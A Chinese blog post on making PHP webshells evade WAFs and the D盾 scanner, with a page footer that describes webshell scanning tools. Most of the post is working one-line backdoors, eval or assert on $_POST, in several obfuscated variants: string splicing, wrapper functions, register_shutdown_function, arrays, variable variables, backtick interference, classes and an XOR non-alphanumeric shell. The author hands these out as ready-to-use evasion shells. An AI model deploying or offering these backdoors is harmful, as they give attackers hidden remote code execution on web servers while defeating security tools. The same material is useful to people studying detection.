webshell多种方法免杀

0x00 前提

  • -2020 最后一天了,这个月其实没有完整的写完东西,这是以前的存货了,应为生病了,真的的难受的不行,什么也干不了,天天站不行坐不行,躺着也不行了。。。哎。。。总之身体真的很重要,别搞坏了身体!!!
  • webshell这个东西对于web方向的还是极其重要的,getshell被杀了很难受,于是来研究一波自己的免杀马儿,毕竟别人没有自己的好用,而且分享出来分分钟被杀。
  • 在本篇文章中将会介绍一些常用的木马免杀技巧

0x01 检测情况

  • WAF一般都是维护一个规则库,记录webshell常用的函数、方法等等,通过这个规则库匹配从而检测是否是木马。
  • 当匹配上对应特征时就是告警,但是规则匹配肯定会有误报,waf一直告警也很烦,所以waf一般会稳定为首要目标,也会放宽一下规则,这就是绕的基础

查杀软件我首先:D盾

『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计! 限制了常见的入侵方法,让服务器更安全!

0x02 PHP一句话

这次主要是对php的一句话免杀实验

首先我们先看一下最常见的php一句话

<?php eval(@$_POST['a']); ?>

解析一下:

  • 其中 eval () 就是执行命令的函数,
  • $_POST[‘a’] 就是接收的数据的函数,a是传递的参数。
  • eval函数把接收的数据当作PHP代码来执行。
  • 这便是一句话木马

我更加喜爱assert函数

<?php assert(@$_POST['a']); ?>

原因:

php5和php7是有差异的

函数说明
evalPHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行
assertPHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。

相同点:二者都可以执行PHP语句。只不过是,eval规范更加严格一些,必须符合PHP代码要求。而assert则没有那么严格,执行PHP表达式即可。

简单点说就是:

eval() 是一个语言构造器而不是一个函数,不能被 可变函数 调用

assert() 可以被可变函数调用,例如诸多的回调函数,这样就方便了许多

<?php
$func = $_GET["func"];
assert("$func()");
?>
# 这也是一个一句话,

0x03 assert函数

assert是一个断言函数,当assert进行判断时,如果为false,则会发出Warning的提醒,但是依然会继续向下执行。对于调试很好,尤其是可以使用回调函数的时候,如果对用户输入的数据过滤不严谨的话,assert的危害比eval还要大。

image-20201231133401683

便需要结合不同编程语言要有不同的应对方式,我用php做实例,总的思路就是:要刨除代码和函数的关系

大体有以下几个思路:

  • 字符串变换(拼接、编码、等等。。。)
  • 函数特性
  • 类特性
  • 混合免杀
  • 奇思妙想

0x03 字符串变换

单纯的字符串变化还是有可疑,我们还需要配合其他

<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);

$cc($_POST['x']);
?>

image-20201231133428867

0x04 函数特性

函数特性里面我知道的有:

  • 自定义函数绕过
  • 变形回调
  • 数组
  • 可变变量

自定义函数绕过

纯自定义函数还是可以绕过的

下面是送大家的免杀马,估计过几天就废了

<?php 

function zeo($b){
    return $b;
}
function ass($a){
    return eval($a);
}
function post(){
    return $_POST['x'];
}

function run(){
	return zeo(ass)(zeo(post)());
}

zeo(ass)(zeo(post)());

?>

image-20201231133441831

回调函数+组合绕过

这个现在有点费劲了,找了下面这些

大部分都已经被拉黑了。。。单独用都得死

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
array_reduce()
array_walk() 
array_walk_recursive()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
registregister_shutdown_function()
register_tick_function()
forward_static_call_array(assert,array($_POST[x]));
  • 所以只能稍微配合上面的内容,奉献下面的免杀马
  • 这个那就是定义个函数加个简单的拼接
<?php 
function zeo($c,$d){
	pj()($c,$d);
}
function pj(){
	return "register_shut"."down_function";
}

$b=$_POST['x'];
zeo(assert,$b);
?>

image-20201231133455779

数组绕过

二维数组

考虑见要执行的一句话木马程序放到数组中执行达到绕过的目的

下面也是老样子,免杀马送上

<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
?>

image-20201231133508080

可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

例如

$a = 'hello';
$$a = 'world';
echo $hello;
# 输出就是world

在上面这段代码中,第一行是一个普通的变量定义,变量名称为a,变量值为hello。

第二行使用变量a的值,定义了一个变量,这个变量的名字叫做hello(也就是a的值),值为world。

将这个变量输出之后的结果是:world。

<?php 
$zeo='dalao';
$$zeo=$_POST['x'];
eval($dalao);
?>
image-20200407220547482

不行了,这个已经有点问题了,那么只能把eval函数在再处理一下,要结合下面的特殊字符干扰

0x05 特殊字符干扰

  • 要求是能干扰到杀软的正则判断,还要代码能执行。
  • 这个可以自己fuzz
  • 大概就是说各种回车、换行、null和空白字符
  • 我这里试了一下成功了,配合上面的可变变量

下面送上免杀马一个:

<?php 
$zeo='dalao';
$$zeo=$_POST['x'];
eval(``.$dalao);
?>

0x06 使用类绕过

类现在发现好多人在用,这个好像D盾检测的最轻,用类自然就少不了魔法函数

简单构造一个类的免杀马

<?php 
class zeo2
{
  public $b ='';
  
  function post(){
    return $_POST['x'];
  }
}
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
  	$code=parent::post();
    assert($code);
  }
}
$blll = new zeo;
$bzzz = new zeo2;
?>

image-20201231133525255

0x07 还有一种无字母的马

主要思路就是:

  • 没有字母,简单来说就是字母被替代了
  • 就是用各种运算,例如异或,拼装出来想要的函数
  • 最后能构造出a-z中任意一个字符。
  • 然后再利用PHP允许动态函数执行的特点,
  • 拼接处一个函数名,如“assert”,然后动态执行之即可。

参考P牛的,这个讲的已经很清楚,想了解的可以看看

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

我送上一道之前做的题,异曲同工,很有意思。

<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
#  “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
${$__}[!$_](${$___}[$_]);
?>

0x08 总结

  • 感觉下来一句话的免杀还是比较简单的,单一的方法不太好多,但是组合几个方法还是很方便的。
  • 个人感觉PHP免杀的要点就在于PHP允许动态函数执行的特点,提供很多的思路。
  • 后续就是研究流量的免杀和菜刀的免杀了。
  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
作为自己有个小站或大站的人,Webshell扫描器应该人手一份,虽然这些工具不能全部彻底清除网站里的后门,但应付大部分的主流Webshell还是很简单的 如果自己的网站里被别人放进了一个Webshell,那可不是件很爽的事情啊!我给站长们推荐2个工具,KOAcha2.0和ScanWebshell ScanWebshell是Lake2大侠写的,我个人很佩服他,这个工具是一个ASP格式的页面,可以查询ASP,cer,cdx,asa以及嵌套调用的任意格式文件,但是图片ASP木马查不到,基本原理是对特别函数的审查。挺好用的,不过也不是万能,现在已经有一些Webshell的佼佼者可以躲过它了。 个人还是比较喜欢用这个:KOA ASP类 WebShell(木马)扫描工具2.0 2009年11月4日发布 更新和增加了如下内容: 1.优化了代码。 2.修正了“查找IIS解析漏洞的文件”时,当文件夹有大写字母没识别的错误。 3.修正了“查找IIS解析漏洞的文件”时,当文件没后缀名时没识别的错误。 就是说“D:\WEBROOT\website\hack.asp\a”的一类木马也能检测出。 4.修正了“include file|virtual”代码的正则检测方式,1.0只能检测正常的“include file|virtual”代码。 现在可以检测 换了行和中间加了全角空格( )等各种变异的“include file|virtual”代码包含文件。 5.修正了“Server.Execute|Transfer”代码的正则检测方式。 现在可以检测各种变异的“Server.Execute|Transfer”代码 6.修正了“RunatScript”代码的正则检测方式。 现在可以检测各种变异的“RunatScript”代码文件。 7.增加了更改文件名的检测。有些木马会修改文件名,当使用木马时会把文件后缀名修改为ASP,不使用时把木马文件后缀名去除。 8.增加了查看、删除、修改代码文件的功能,方便对木马的操作。(友情提示:当查看代码有乱码(可能是UTF8编码)时,请不要用本程序修改代码。) 查看代码时对危险脚步进行了高亮加大。更容易查看危险脚本。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值